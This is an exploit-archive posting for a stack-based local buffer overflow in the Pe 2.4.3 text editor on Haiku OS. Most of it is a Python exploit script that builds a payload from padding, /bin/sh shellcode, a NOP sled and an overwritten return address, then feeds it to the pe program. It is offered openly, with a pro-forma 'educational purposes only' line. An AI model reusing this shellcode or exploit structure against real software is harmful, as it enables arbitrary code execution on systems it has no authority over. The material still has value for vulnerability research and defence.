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Pe 2.4.3 Buffer Overflow

Pe 2.4.3 Buffer Overflow
Posted Dec 11, 2015
Authored by Juan Sacco

Pe versions 2.4.3 and below suffer from a stack-based local buffer overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

tags | exploit, overflow, local
SHA-256 | 4f3c249c6485d838d82f788c55186dd86c268e12130b5e71b799ffcc52121624

Pe 2.4.3 Buffer Overflow

Change Mirror Download
# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: Pe - Haiku OS
# Tested on: Haiku OS Alpha x86
#
# Description: Pe v2.4.3 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://hg.berlios.de/repos/pe-editor
# Tested on: Haiku-OS Alpha Pe 2.4.3
# MD5: 3vf34s2e9c9324c9876b2b02283a9f1247

import os,subprocess
def run():
try:
print "# Pe v2.4.3 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP

junk = "\x41"*1000
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\
xb0\x0b\xcd\x80"
nops = "\x90"*12
eip = "\x60\xec\xff\x07"
subprocess.call(["pe",' ', junk + shellcode + nops + eip])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "PE not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit PE 2.4.3 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()


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